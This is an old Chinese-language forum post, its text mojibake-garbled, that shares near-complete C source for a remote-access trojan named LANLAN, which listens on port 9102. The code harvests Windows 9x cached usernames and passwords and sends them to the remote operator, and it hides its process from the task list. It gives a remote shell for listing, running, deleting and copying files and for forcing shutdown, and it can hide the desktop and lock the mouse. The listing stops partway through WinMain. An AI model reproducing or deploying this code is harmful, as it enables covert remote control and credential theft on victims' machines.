[ID£º7221] Ö÷Ì⣺°³Ð´µÄÒ»¸ö¼òµ¥Ä¾Âí
[ ת·¢Ìû×Ó »Ø¸´´ËÌû Ïà¹ØÌû×Ó ]
²¡¶¾ ÓÚ 2001-05-20 19:16:04 ¼ÓÌùÔÚ ±à³ÌÀÖÔ° ÉÏ
ÄÚÈÝ£¨49185bytes£©:
Ò»¸ö¼òµ¥Ä¾ÂíÁÐ×Ó ×÷Õß:²¡¶¾ ·¢±íÓÚ ÂÌÉ«±øÍÅ °³Ð´ÎÄÕÂÒ»°ã¶¼¸³Ô´´úÂë.³ý¹Ø¼ü²¿·ÖÍâÏòÀ´²»°®´òÌ«¶à˵Ã÷ÐÔÎÄ×Ö,ÒòΪ¾õµÃÕâÑù ²Å±È½Ïʵ¼Ê,¹ØÓÚÄÇЩº¯ÊýÓ÷¨ºÍ¹¦ÄÜ´ó¿ÉÒÔÈ¥·Êé,ÄÄÀï½²µÄ±È˶¼Ïêϸ. ÕâÀï¸øÁËÒ»¸ö°³ÓÃÒì²½SOCKET·½Ê½, Ö±½Óµ÷ÓÃWINSOCK API,WIN SDKдµÄľÂí(VC,C++ BUILDERϾù±àÒë,µ÷ÊÔͨ¹ý),ÎÞÐë¿Í»§¶Ë,±àÒëºó²Å¼¸Ê®K.ʵÏÖÁËЩ Ö÷Òª¹¦ÄÜ,Îļþä¯ÀÀ,ÉÏ´«,ÏÂÔØ(¾ùÖ§³ÖͳÅä·û),¸Ä±äĿ¼,»ñȡϵͳÐÅÏ¢,´ÓCACHEÈ¡ÃÜÂë, Ö´ÐÐÎļþ,ÏÔʾ½ø³Ì, ·¢ËÍÏûÏ¢,¹Ø»ú, »¹ÓÐЩ¿ØÖƹ¦ÄÜ, WIN 9X,NT/2000Ͼù ¿ÉʹÓÃ,ÔÚNT,2000ÏÂ,Òò¿¼Âǵ½ÈçCMD.EXEÒѸÄÃû»ò²»´æÔÚ,ÄÇô³ÌÐò ½«ºÁÎÞÓô¦. ËùÒÔ ²¢Ã»Óе÷ÓÃCMD.EXEÀ´Íê³É,È«²¿ÓÉ×Ô¼ºÀ´×ö,WIN APIʵÏÖ.ÒªÏë×Ô¼º³ÌÐòͨÓþͲ»ÒªÅ Âé·³.½¨ÒéÄÇЩÓÃÏֳɿؼþдľÂíºÍÍøÂçͨѶµÄÅóÓÑÓ¦¸Ã¿´¿´,È¥ÊìϤÕâЩ¸ù±¾ËùÔÚ, ÓÈÆäÊÇÔÚÍøÂç ͨѶ·½Ãæ.Èç¹ûÄãÊǸö³ÌÐòÔ± ÎÒÏë´ó¿É²»±ØÓÃÎÒ¶à˵,ÔÚ¿ª·¢Öа³»¹Ã»¼û¹ýÄļҹ«Ë¾Èà ÓÃÏÖ³ÉÀà (MFC,VCL)À´×öµÄ. ´Ë³ÌÐò»¹²»ºÜ½¡×³,дÍêºóҲûÀ´µÄ¼°ÓÅ»¯,Ö÷ÒªÊÇÄÃÀ´Èôó¼ÒÊìϤһÏÂWINSOCKºÍWIN SDK±à³Ì. //--------------------------------------------------------------------------- // WINSOCK API,WIN SDK±à³Ì,ÎÞÐè¿Í»§¶Ë // // ×÷Õß: ¼Ö¼Ñ //--------------------------------------------------------------------------- #include <windows.h> #include <winsock.h> #include <mmsystem.h> #pragma hdrstop #include <condefs.h> #pragma argsused #define RUN "\\WinMon32.exe" //×¢²á·þÎñ #define SERVICE_PROC 1 //Ð¶ÔØ·þÎñ #define UNSERVICE_PROC 0 #define TH32CS_SNAPPROCESS 0x00000002 #define PROCESS_HANDLE_NAME 255 //»º³åÇø³¤¶È #define dwBuffSize 2048 //ÃüÁîÐг¤¶È #define dwComm 50 #define PORT 9102 #define WM_SOCKET WM_USER+1 #define PROMPT "LanLan:\\>" DWORD dwVersion=MAKEWORD(1,1); DWORD dwFlag=TRUE; WSADATA wsaData; SOCKET CreateSock,NewSock; SOCKADDR_IN Sock_in,NewSock_in; LPTSTR szReadBuff,Ob,TempBuff; int addrlen; //CACHE PASSWORD½á¹¹ typedef struct tagPASSWORD_CACHE_ENTRY { WORD cbEntry; WORD cbResource; WORD cbPassword; BYTE iEntry; BYTE nType; char abResource[1]; } PASSWORD_CACHE_ENTRY; typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD); //CACHE PASSWORDº¯ÊýÔÐÎ typedef WORD (WINAPI *PWNetEnumCachedPasswords)( LPSTR pbPrefix, DWORD cbPrefix, DWORD nType, CACHECALLBACK pfnCallback, DWORD UNKNOWN ); //TOOLHELP32 ½á¹¹ typedef struct tagPROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; DWORD th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; TCHAR szExeFile[MAX_PATH]; } PROCESSENTRY32; typedef PROCESSENTRY32 * LPPROCESSENTRY32; //¶¨ÒåTOOLHELP32,PSAPIº¯ÊýÖ¸Õë HANDLE (WINAPI *CreateToolhelp32Snapshot)(DWORD dwFlags,DWORD th32PD); BOOL (WINAPI *Process32First)(HANDLE hSnapshot,LPPROCESSENTRY32 pe); BOOL (WINAPI *Process32Next)(HANDLE hSnapshot,LPPROCESSENTRY32 pe); BOOL (WINAPI *EnumProcesses)(DWORD* lpidProcess,DWORD cb,DWORD *cbNeeded); DWORD (WINAPI *GetModuleFileNameExA)(HANDLE hProcess,HMODULE hModule,LPTSTR lpstrFileName,DWORD nSize); HINSTANCE DLLInst; DWORD (WINAPI *RegisterServiceProcess)(DWORD, DWORD); //--------------------------------------------------------------------------- // GetOS // ÅжϲÙ×÷ϵͳ //--------------------------------------------------------------------------- DWORD WINAPI GetOS() { OSVERSIONINFO os; TCHAR sVersion[MAX_PATH]; os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&os); switch(os.dwPlatformId) { case VER_PLATFORM_WIN32_WINDOWS: return VER_PLATFORM_WIN32_WINDOWS; case VER_PLATFORM_WIN32_NT: return VER_PLATFORM_WIN32_NT; } } //--------------------------------------------------------------------------- // HideProc // ×¢²á½ø³Ì //--------------------------------------------------------------------------- BOOL WINAPI HideProc(int mode) { DLLInst=LoadLibrary("KERNEL32.DLL"); if(DLLInst) { RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD)) GetProcAddress(DLLInst,"RegisterServiceProcess"); if(RegisterServiceProcess) { RegisterServiceProcess(GetCurrentProcessId(),mode); return TRUE; } else return FALSE; } else return FALSE; } //--------------------------------------------------------------------------- // EnumProcess // ö¾Ù½ø³Ì //--------------------------------------------------------------------------- //³õʼ»¯TOOLHELP32 BOOL InitToolHelp32() { HINSTANCE DLLinst=LoadLibrary("KERNEL32.DLL"); if(DLLinst) { CreateToolhelp32Snapshot=(HANDLE(WINAPI *)(DWORD dwFlags,DWORD th32PD)) GetProcAddress(DLLinst,"CreateToolhelp32Snapshot"); Process32First=(BOOL(WINAPI *)(HANDLE hSnapshot,LPPROCESSENTRY32 pe)) GetProcAddress(DLLinst,"Process32First"); Process32Next=(BOOL(WINAPI *)(HANDLE hSnapshot,LPPROCESSENTRY32 pe)) GetProcAddress(DLLinst,"Process32Next"); if((!(UINT)CreateToolhelp32Snapshot)||(!(UINT)Process32First)||(!(UINT)Process32Next)) return FALSE; else return TRUE; } return FALSE; } //³õʼ»¯PSAPI BOOL InitPSAPI() { HINSTANCE PSAPI=LoadLibrary("PSAPI.DLL"); if(NULL==PSAPI) return FALSE; EnumProcesses=(BOOL(WINAPI *)(DWORD* lpidProcess,DWORD cb,DWORD *cbNeeded)) GetProcAddress(PSAPI,"EnumProcesses"); GetModuleFileNameExA=(DWORD(WINAPI *)(HANDLE hProcess,HMODULE hModule,LPTSTR lpstrFileName,DWORD nSize)) GetProcAddress(PSAPI,"GetModuleFileNameExA"); if(NULL == EnumProcesses||NULL == GetModuleFileName) return FALSE; else return TRUE; } VOID WINAPI EnumProcess() { HANDLE process[255]; PROCESSENTRY32 p32; DWORD process_ids[255]; DWORD num_processes; TCHAR file_name[MAX_PATH]; TCHAR szTemp[MAX_PATH]; unsigned i; wsprintf(szTemp,"\n\n\r << Process File Name >>\n\n\r"); send(NewSock,szTemp,lstrlen(szTemp),0); switch(GetOS()) { case VER_PLATFORM_WIN32_WINDOWS: if(InitToolHelp32()) { p32.dwSize=sizeof(PROCESSENTRY32); HANDLE pName=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL); BOOL Next=Process32First(pName,&p32); i=0; while(Next) { wsprintf(szTemp,"Process FileName :%s \n\r",p32.szExeFile); send(NewSock,szTemp,lstrlen(szTemp),0); process[i]=OpenProcess(PROCESS_TERMINATE,0,p32.th32ProcessID); Next=Process32Next(pName,&p32); i++; } CloseHandle(pName); } break; case VER_PLATFORM_WIN32_NT: if(InitPSAPI()) { EnumProcesses(process_ids,sizeof(process_ids),&num_processes); for(i=0; i<num_processes; i++) { process[i]=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ ,0,process_ids[i]); if(GetModuleFileNameExA(process[i],NULL,file_name,sizeof(file_name))) wsprintf(szTemp,"Process FileName :%s \n\r",file_name); send(NewSock,szTemp,lstrlen(szTemp),0); } CloseHandle(process); } break; } } //--------------------------------------------------------------------------- // GetCachePW // È¡CACHEÃÜÂë //--------------------------------------------------------------------------- BOOL CALLBACK GetPass(PASSWORD_CACHE_ENTRY *pce,DWORD) { MoveMemory(szReadBuff,pce->abResource,pce->cbResource); szReadBuff[pce->cbResource]=0; CharToOem(szReadBuff,Ob); wsprintf(TempBuff,"\n\n\r (USERNAME): %s \n\r (PASSWORD): ",Ob); MoveMemory(szReadBuff,pce->abResource+pce->cbResource,pce->cbPassword); szReadBuff[pce->cbPassword]=0; CharToOem(szReadBuff,Ob); lstrcat(TempBuff,Ob); send(NewSock,TempBuff,dwBuffSize,0); return TRUE; } BOOL WINAPI GetCachePW() { TCHAR szTemp[MAX_PATH]; PWNetEnumCachedPasswords WNetEnumCachedPasswords; HINSTANCE DLLinst=LoadLibrary("MPR.DLL"); if(!DLLinst) { return FALSE; } wsprintf(szTemp,"\n\n\r << Win 9x Cache Password >>\n\r"); send(NewSock,szTemp,lstrlen(szTemp),0); WNetEnumCachedPasswords=(PWNetEnumCachedPasswords) GetProcAddress(DLLinst,"WNetEnumCachedPasswords"); if(!WNetEnumCachedPasswords) { return FALSE; } else { szReadBuff=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize); Ob=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize); TempBuff=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize); WNetEnumCachedPasswords(0,0,0xff,GetPass,0); HeapFree(GetProcessHeap(),dwBuffSize,szReadBuff); HeapFree(GetProcessHeap(),dwBuffSize,Ob); HeapFree(GetProcessHeap(),dwBuffSize,TempBuff); FreeLibrary(DLLinst); } return TRUE; } //--------------------------------------------------------------------------- // LoadProcess // Ö´ÐÐÎļþ //--------------------------------------------------------------------------- BOOL WINAPI LoadProcess(LPCTSTR szFileName) { STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si,sizeof(STARTUPINFO)); ZeroMemory(&pi,sizeof(PROCESS_INFORMATION)); si.cb=sizeof(STARTUPINFO); si.dwFlags=STARTF_USESHOWWINDOW; si.wShowWindow=SW_SHOWNORMAL; if(CreateProcess(szFileName,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi)==FALSE) { return FALSE; } return TRUE; } //--------------------------------------------------------------------------- // Dir // ä¯ÀÀÎļþ,Ö§³ÖͳÅä·û //--------------------------------------------------------------------------- VOID WINAPI Dir(LPCTSTR lParam) { WIN32_FIND_DATA wfd; HANDLE hHandle; TCHAR szFileName[MAX_PATH]; int i; wsprintf(szFileName,"\n\n\r"); send(NewSock,szFileName,lstrlen(szFileName),0); lstrcpy(szFileName,lParam); if((hHandle=FindFirstFile(szFileName,&wfd))!=INVALID_HANDLE_VALUE) { do { switch(wfd.dwFileAttributes) { case FILE_ATTRIBUTE_ARCHIVE: if(wfd.nFileSizeHigh==0) wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow); else wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow); send(NewSock,szFileName,lstrlen(szFileName),0); break; case FILE_ATTRIBUTE_DIRECTORY: wsprintf(szFileName,"%-20s %10lu <DIR>\n\r",wfd.cFileName,wfd.nFileSizeLow); send(NewSock,szFileName,lstrlen(szFileName),0); break; case FILE_ATTRIBUTE_HIDDEN: if(wfd.nFileSizeHigh==0) wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow); else wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow); send(NewSock,szFileName,lstrlen(szFileName),0); break; case FILE_ATTRIBUTE_READONLY: if(wfd.nFileSizeHigh==0) wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow); else wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow); send(NewSock,szFileName,lstrlen(szFileName),0); break; case FILE_ATTRIBUTE_SYSTEM: if(wfd.nFileSizeHigh==0) wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow); else wsprintf(szFileName,"%-20s %10lu ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow); send(NewSock,szFileName,lstrlen(szFileName),0); break; } }while(FindNextFile(hHandle,&wfd)); } else { wsprintf(szFileName,"Can not find directory or files.\n\r"); send(NewSock,szFileName,lstrlen(szFileName),0); } } //--------------------------------------------------------------------------- // FileOpertion // Îļþ²Ù×÷º¯Êý //--------------------------------------------------------------------------- BOOL WINAPI FileOpertion(LPCTSTR szFileName1,LPCTSTR szFileName2,DWORD opt) { SHFILEOPSTRUCT shf; TCHAR sr[MAX_PATH]; TCHAR de[MAX_PATH]; lstrcpy(sr,szFileName1); sr[lstrlen(sr)+1]='\0'; lstrcpy(de,szFileName2); de[lstrlen(de)+1]='\0'; ZeroMemory(&shf,sizeof(shf)); shf.hwnd=NULL; shf.wFunc=opt; shf.pFrom=sr; shf.pTo=de; shf.fFlags=FOF_ALLOWUNDO|FOF_SILENT|FOF_FILESONLY|FOF_MULTIDESTFILES |FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR; if(SHFileOperation(&shf)) return FALSE; else return TRUE; } //--------------------------------------------------------------------------- // Delete // ɾ³ýÎļþ(Òþ²Ø,Ö»¶Á),Ŀ¼,Ö§³ÖͳÅä·û //--------------------------------------------------------------------------- VOID WINAPI Delete(LPCTSTR lParam) { if(!FileOpertion(lParam,"",FO_DELETE)) send(NewSock,"Delete File is Fail",20,0); else send(NewSock,"Delete File is OK",17,0); } //--------------------------------------------------------------------------- // Copy // ¸´ÖÆ,ÉÏ´«,ÏÂÔØÎļþ(ÐèÏȽ«×Ô¼ºÓ²ÅÌÉèÖÃΪÍêÈ«¹²Ïí),Ö§³ÖͳÅä·û //--------------------------------------------------------------------------- VOID WINAPI Copy(LPCTSTR lParam1,LPCTSTR lParam2) { if(!FileOpertion(lParam1,lParam2,FO_COPY)) send(NewSock,"Copy File is Fail",18,0); else send(NewSock,"Copy File is OK",15,0); } //--------------------------------------------------------------------------- // Ren // Îļþ,Ä¿Â¼ÖØÃüÃû //--------------------------------------------------------------------------- VOID WINAPI Ren(LPCTSTR lParam1,LPCTSTR lParam2) { if(!FileOpertion(lParam1,lParam2,FO_RENAME)) send(NewSock,"Renname File is Fail",21,0); else send(NewSock,"Reanme File is OK",18,0); } //--------------------------------------------------------------------------- // GetSysInfo // »ñȡϵͳÐÅÏ¢ //--------------------------------------------------------------------------- VOID WINAPI GetSysInfo() { TCHAR szBuff[MAX_PATH]; TCHAR szTemp[MAX_PATH]; wsprintf(szBuff,"\n\n\r<<System Information>>\n\n\r"); send(NewSock,szBuff,lstrlen(szBuff),0); //¼ÆËã»úÃû DWORD len=sizeof(szTemp); GetComputerName(szTemp,&len); wsprintf(szBuff,"Computer Name: %s\n\n\r",szTemp); send(NewSock,szBuff,lstrlen(szBuff),0); //µ±Ç°²Ù×÷ϵͳ switch(GetOS()) { case VER_PLATFORM_WIN32_WINDOWS: lstrcpy(szTemp,"Windows 9x"); break; case VER_PLATFORM_WIN32_NT: lstrcpy(szTemp,"Windows NT/2000"); break; } wsprintf(szBuff,"Option System: %s\n\n\r",szTemp); send(NewSock,szBuff,lstrlen(szBuff),0); //ÄÚ´æÈÝÁ¿ MEMORYSTATUS mem; mem.dwLength=sizeof(mem); GlobalMemoryStatus(&mem); wsprintf(szBuff,"Total Memroy: %dM\n\n\r",mem.dwTotalPhys/1024/1024+1); send(NewSock,szBuff,lstrlen(szBuff),0); //ϵͳĿ¼ TCHAR szPath[MAX_PATH]; GetWindowsDirectory(szTemp,sizeof(szTemp)); GetSystemDirectory(szBuff,sizeof(szBuff)); wsprintf(szPath,"Windows Directory: %s\n\n\rSystem Directory: %s\n\n\r",szTemp,szBuff); send(NewSock,szPath,lstrlen(szPath),0); //Çý¶¯Æ÷¼°·ÖÇøÀàÐÍ TCHAR szFileSys[10]; for(int i=0;i<26;++i) { wsprintf(szTemp,"%c:\\",'A'+i); UINT uType=GetDriveType(szTemp); switch(uType) { case DRIVE_FIXED: GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH); wsprintf(szBuff,"Hard Disk: %s (%s)\n\n\r",szTemp,szFileSys); send(NewSock,szBuff,lstrlen(szBuff),0); break; case DRIVE_CDROM: wsprintf(szBuff,"CD-ROM Disk: %s\n\n\r",szTemp); send(NewSock,szBuff,lstrlen(szBuff),0); break; case DRIVE_REMOTE: GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH); wsprintf(szBuff,"NetWork Disk: %s (%s)\n\n\r",szTemp,szFileSys); send(NewSock,szBuff,lstrlen(szBuff),0); break; } } } //--------------------------------------------------------------------------- // ExitWin // ¹Ø±Õ¼ÆËã»ú(WIN 9X,NT/2000) //--------------------------------------------------------------------------- VOID WINAPI ExitWin() { DWORD dwVer; HANDLE hProcess, hToken; TOKEN_PRIVILEGES NewState; DWORD ProcessId, ReturnLength = 0; LUID luidPrivilegeLUID; dwVer=GetOS(); if(dwVer==VER_PLATFORM_WIN32_WINDOWS) ExitWindowsEx(1,0); else if(dwVer==VER_PLATFORM_WIN32_NT) { ProcessId = GetCurrentProcessId(); hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken); LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID); NewState.PrivilegeCount = 1; NewState.Privileges[0].Luid = luidPrivilegeLUID; NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL)) ExitWindowsEx(EWX_FORCE|EWX_POWEROFF,0); } } //--------------------------------------------------------------------------- // CtrlCD // ¹âÇý¿ØÖÆ //--------------------------------------------------------------------------- VOID WINAPI CtrlCD(HWND hWnd,BOOL Ctrl) { switch(Ctrl) { case TRUE: mciSendString("Set cdaudio door open wait",NULL,0,hWnd); break; case FALSE: mciSendString("Set cdaudio door closed wait",NULL,0,hWnd); break; } } //--------------------------------------------------------------------------- // PopMsg // ·¢ËÍÏûÏ¢ //--------------------------------------------------------------------------- VOID WINAPI PopMsg(LPCTSTR message,HWND hWnd) { MessageBox(hWnd,message,"PopMsg",MB_OK); } //--------------------------------------------------------------------------- // ChangeDir // ¸Ä±äµ±Ç°Ä¿Â¼ //--------------------------------------------------------------------------- BOOL WINAPI ChangeDir(LPCTSTR szDir) { if(SetCurrentDirectory(szDir)) return TRUE; else return FALSE; } //--------------------------------------------------------------------------- // GetCurPath // µÃµ½µ±Ç°Ä¿Â¼ //--------------------------------------------------------------------------- VOID WINAPI GetCurPath() { TCHAR lpBuff[MAX_PATH]; TCHAR szTemp[MAX_PATH]; GetCurrentDirectory(MAX_PATH,lpBuff); wsprintf(szTemp,"CurrentDirect: %s\n\r",lpBuff); send(NewSock,szTemp,lstrlen(szTemp),0); } //--------------------------------------------------------------------------- // HSSys // ÏÔʾ,Òþ²Ø×ÀÃæ,ÈÎÎñÀ¸ //--------------------------------------------------------------------------- VOID WINAPI HSSys(HWND hWnd,BOOL Ctrl) { switch(Ctrl) { case FALSE: hWnd=FindWindow("Progman",NULL); ShowWindow(hWnd,SW_HIDE); hWnd=FindWindow("Shell_TrayWnd",NULL); ShowWindow(hWnd,SW_HIDE); break; case TRUE: hWnd=FindWindow("Progman",NULL); ShowWindow(hWnd,SW_SHOW); hWnd=FindWindow("Shell_TrayWnd",NULL); ShowWindow(hWnd,SW_SHOW); break; } } //--------------------------------------------------------------------------- // LockMK // Ëø¶¨Êó±ê,¹¦Äܼü //--------------------------------------------------------------------------- VOID WINAPI LockMK(BOOL Ctrl) { RECT rc; switch(Ctrl) { case TRUE: ZeroMemory(&rc,sizeof(rc)); ClipCursor(&rc); SystemParametersInfo(SPI_SCREENSAVERRUNNING,TRUE,NULL,0); SystemParametersInfo(SPI_SETFASTTASKSWITCH,TRUE,NULL,0); break; case FALSE: ClipCursor(NULL); SystemParametersInfo(SPI_SCREENSAVERRUNNING,FALSE,NULL,0); SystemParametersInfo(SPI_SETFASTTASKSWITCH,FALSE,NULL,0); break; } } //--------------------------------------------------------------------------- // ExeCommand // Ö´ÐÐÃüÁî //--------------------------------------------------------------------------- VOID ExeCommand(LPCTSTR szCommand,HWND hWnd) { TCHAR szBuf[MAX_PATH]; TCHAR Param1[100]; TCHAR Param2[100]; int i; if((lstrcmp(szCommand,"getpw"))==0) GetCachePW(); else if((lstrcmp(szCommand,"getinfo"))==0) GetSysInfo(); else if((lstrcmp(szCommand,"gcpath"))==0) GetCurPath(); else if((lstrcmp(szCommand,"opencd"))==0) CtrlCD(hWnd,TRUE); else if((lstrcmp(szCommand,"closecd"))==0) CtrlCD(hWnd,FALSE); else if((lstrcmp(szCommand,"showsys"))==0) HSSys(hWnd,TRUE); else if((lstrcmp(szCommand,"hidesys"))==0) HSSys(hWnd,FALSE); else if((lstrcmp(szCommand,"lockmk"))==0) LockMK(TRUE); else if((lstrcmp(szCommand,"unlock"))==0) LockMK(FALSE); else if((lstrcmp(szCommand,"dproc"))==0) EnumProcess(); else if((lstrcmp(szCommand,"exitwin"))==0) ExitWin(); else if((strncmp(szCommand,"popmsg",lstrlen("popmsg")))==0) { if(lstrlen(szCommand)<=lstrlen("popmsg")+2) { send(NewSock,"usage : popmsg Message",28,0); } for(i=lstrlen("popmsg")+1;i<lstrlen(szCommand);i++) if(szCommand[i]==' ')break; if(i==lstrlen(szCommand)) { lstrcpy(Param1,szCommand+lstrlen("popmsg")+1); PopMsg(Param1,hWnd); } } else if((strncmp(szCommand,"execfile",lstrlen("execfile")))==0) { if(lstrlen(szCommand)<=lstrlen("execfile")+2) { send(NewSock,"usage : execfile szFileName",28,0); } for(i=lstrlen("execfile")+1;i<lstrlen(szCommand);i++) if(szCommand[i]==' ')break; if(i==lstrlen(szCommand)) { lstrcpy(Param1,szCommand+lstrlen("execfile")+1); if(LoadProcess(Param1)==FALSE) send(NewSock,"execfile Fail",14,0); else send(NewSock,"execfile OK",11,0); } } else if((strncmp(szCommand,"cd",lstrlen("cd")))==0) { if(lstrlen(szCommand)<=lstrlen("cd")+2) { send(NewSock,"cd Drive\\Directory",19,0); } for(i=lstrlen("cd")+1;i<lstrlen(szCommand);i++) if(szCommand[i]==' ')break; if(i==lstrlen(szCommand)) { lstrcpy(Param1,szCommand+lstrlen("cd")+1); if(ChangeDir(Param1)==FALSE) send(NewSock,"Change Directory Fail",21,0); else send(NewSock,"Change Directory OK",19,0); } } else if((strncmp(szCommand,"dir",lstrlen("dir")))==0) { if(lstrlen(szCommand)<=lstrlen("dir")+2) { Dir("*.*"); } for(i=lstrlen("dir")+1;i<lstrlen(szCommand);i++) if(szCommand[i]==' ')break; if(i==lstrlen(szCommand)) { lstrcpy(Param1,szCommand+lstrlen("dir")+1); Dir(Param1); } } else if((strncmp(szCommand,"del",lstrlen("del")))==0) { if(lstrlen(szCommand)<=lstrlen("del")+2) { send(NewSock,"usage : DEL szFileName",28,0); } for(i=lstrlen("del")+1;i<lstrlen(szCommand);i++) if(szCommand[i]==' ')break; if(i==lstrlen(szCommand)) { lstrcpy(Param1,szCommand+lstrlen("del")+1); Delete(Param1); } } else if((strncmp(szCommand,"copy",lstrlen("copy")))==0) { if(lstrlen(szCommand)<=lstrlen("COPY")+2) { send(NewSock,"usage : COPY Drive\\Filename ",28,0); return; } for(i=lstrlen("copy")+1;i<lstrlen(szCommand);i++) if(szCommand[i]==' ')break; if(i==lstrlen(szCommand)) { lstrcpy(Param1,szCommand+lstrlen("copy")+1); lstrcpy(Param2,""); send(NewSock,"Copy File1 to File2",19,0); } else { lstrcpy(szBuf,szCommand); szBuf[i]=0; lstrcpy(Param1,szBuf+lstrlen("copy")+1); lstrcpy(Param2,szBuf+i+1); Copy(Param1,Param2); } } else if((strncmp(szCommand,"ren",lstrlen("ren")))==0) { if(lstrlen(szCommand)<=lstrlen("ren")+2) { send(NewSock,"usage : REN Drive\\Filename ",28,0); return; } for(i=lstrlen("ren")+1;i<lstrlen(szCommand);i++) if(szCommand[i]==' ')break; if(i==lstrlen(szCommand)) { lstrcpy(Param1,szCommand+lstrlen("ren")+1); lstrcpy(Param2,""); send(NewSock,"Ren File1 to File2",19,0); } else { lstrcpy(szBuf,szCommand); szBuf[i]=0; lstrcpy(Param1,szBuf+lstrlen("ren")+1); lstrcpy(Param2,szBuf+i+1); Ren(Param1,Param2); } } else send(NewSock,"Bad Command !!!",16,0); } //--------------------------------------------------------------------------- // InitSocket // ³õʼ»¯SOCKET //-------------------------------------------------------------------------- BOOL WINAPI InitSocket(HWND hWnd) { if((WSAStartup(dwVersion,&wsaData))!=0) { MessageBox(hWnd,"INIT SOCKET ERROR",NULL,MB_OK); return FALSE; } CreateSock=socket(AF_INET,SOCK_STREAM,0); if(CreateSock==SOCKET_ERROR) { closesocket(CreateSock); MessageBox(hWnd,"SOCKET ERROR",NULL,MB_OK); return FALSE; } Sock_in.sin_family=AF_INET; Sock_in.sin_port=htons(PORT); Sock_in.sin_addr.S_un.S_addr=htonl(INADDR_ANY); setsockopt(CreateSock,SOL_SOCKET,SO_REUSEADDR,(LPSTR)&dwFlag,sizeof(dwFlag)); if(bind(CreateSock,(LPSOCKADDR)&Sock_in,sizeof(Sock_in))==SOCKET_ERROR) { closesocket(CreateSock); MessageBox(hWnd,"BIND ERROR",NULL,MB_OK); return FALSE; } else if(listen(CreateSock,3)==SOCKET_ERROR) { closesocket(CreateSock); MessageBox(hWnd,"LISTEN ERROR",NULL,MB_OK); return FALSE; } else if(WSAAsyncSelect(CreateSock,hWnd,WM_SOCKET,FD_ACCEPT|FD_CLOSE)==SOCKET_ERROR) { closesocket(CreateSock); MessageBox(hWnd,"WSASelect ERROR",NULL,MB_OK); return FALSE; } addrlen=sizeof(SOCKADDR_IN); return TRUE; } //--------------------------------------------------------------------------- LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam) { static TCHAR szCommand[dwComm]; static TCHAR szExec[dwComm]; switch(message) { case WM_SOCKET: if(WSAGETSELECTERROR(lParam)) { closesocket(wParam); break; } switch(WSAGETSELECTEVENT(lParam)) { //Á¬½Ó case FD_ACCEPT: NewSock=accept(CreateSock,(LPSOCKADDR)&NewSock_in,&addrlen); WSAAsyncSelect(NewSock,hWnd,WM_SOCKET,FD_READ|FD_WRITE|FD_CLOSE); wsprintf(szCommand,"LANLAN Ver 1.0 Write by VIRUS\n\n\r%s",PROMPT); send(NewSock,szCommand,dwComm,0); break; //¶ÁÈ¡ÊäÈ룬ÈçÊǻسµÔòÖ´ÐÐÃüÁî //²»Êǽ«ÊäÈë¸´ÖÆµ½»º³åÇø case FD_READ: ZeroMemory(szCommand,dwComm); recv(NewSock,szCommand,dwComm,0); if(szCommand[0]==VK_RETURN) { wsprintf(szCommand,"\n\n\r%s",PROMPT); send(NewSock,szCommand,dwComm,0); ExeCommand(szExec,hWnd); ZeroMemory(szExec,dwComm); } else lstrcat(szExec,szCommand); send(NewSock,szCommand,dwComm,0); break; case FD_CLOSE: closesocket(wParam); break; } break; case WM_DESTROY: HideProc(UNSERVICE_PROC); PostQuitMessage(0); break; default: return DefWindowProc(hWnd,message,wParam,lParam); } return 0; } //--------------------------------------------------------------------------- WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, int) { HWND hWnd; MSG msg; WNDCLASS wndc; LPSTR szAppName="LANLAN"; HKEY hKey=0; DWORD disp=0; LONG lResult; TCHAR szKey[MAX_PATH]; TCHAR szSysDir[MAX_PATH+25]; TCHAR szFileName[MAX_PATH]; wndc.style=0; wndc.lpfnWndProc=WndProc; wndc.cbClsExtra=0; wndc.cbWndExtra=0; wndc.hInstance=hInstance; wndc.hIcon=LoadIcon(NULL,IDI_APPLICATION); wndc.hCursor=LoadCursor(NULL,IDC_ARROW); wndc.hbrBackground=(HBRUSH)(COLOR_WINDOW+1); wndc.lpszMenuName=NULL; wndc.lpszClassName=szAppName; 